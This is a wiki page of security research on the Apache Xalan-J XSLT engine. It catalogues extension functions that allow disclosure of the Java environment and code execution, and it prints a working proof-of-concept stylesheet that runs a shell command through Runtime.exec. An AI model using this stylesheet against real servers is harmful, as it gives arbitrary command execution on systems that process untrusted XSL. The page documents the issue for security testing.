Wiki source code of Engine_XalanJ
Version 33.1 by Nicolas Gregoire on 2012/01/11 22:54
Show last authors
| author | version | line-number | content |
|---|---|---|---|
| 1 | [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project. | ||
| 2 | |||
| 3 | |||
| 4 | == Supported version == | ||
| 5 | |||
| 6 | 1.0 | ||
| 7 | |||
| 8 | == Command line == | ||
| 9 | |||
| 10 | $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl | ||
| 11 | |||
| 12 | __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH | ||
| 13 | |||
| 14 | == Identification strings == | ||
| 15 | |||
| 16 | |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j | ||
| 17 | |=xsl:vendor|Apache Software Foundation | ||
| 18 | |=xsl:version|1.0 | ||
| 19 | |||
| 20 | == Special features == | ||
| 21 | |||
| 22 | * File creation | ||
| 23 | * Code execution | ||
| 24 | * JDBC connectivity | ||
| 25 | * Java properties disclosure | ||
| 26 | * Java environment disclosure | ||
| 27 | |||
| 28 | == Java environment disclosure == | ||
| 29 | |||
| 30 | The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). | ||
| 31 | |||
| 32 | |=Namespace|=Extension function|=PoC|=Sample output | ||
| 33 | |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] | ||
| 34 | |||
| 35 | == Java code execution == | ||
| 36 | |||
| 37 | The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. | ||
| 38 | |||
| 39 | |||
| 40 | |=Namespace|=Extension function|=PoC|=Sample output | ||
| 41 | |http:~/~/xml.apache.org/xalan/java/java.util.Date|new|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: Wed Jan 11 22:45:07 CET 2012 | ||
| 42 | |||
| 43 | |||
| 44 | == Execution of external commands == | ||
| 45 | |||
| 46 | The following code will execute the command "touch /tmp/hello" : | ||
| 47 | |||
| 48 | <?xml version="1.0"?> | ||
| 49 | <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" | ||
| 50 | xmlns:j="http:~/~/xml.apache.org/xalan/java" | ||
| 51 | exclude-result-prefixes="j" | ||
| 52 | version="1.0"> | ||
| 53 | <xsl:template match="/"> | ||
| 54 | <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> | ||
| 55 | <xsl:variable name="a" select="j:split($c, ' = ')"/> | ||
| 56 | <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> | ||
| 57 | <xsl:variable name="p" select="j:exec($r, $a )"/> | ||
| 58 | No content at the moment ... | ||
| 59 | </xsl:template> | ||
| 60 | </xsl:stylesheet> |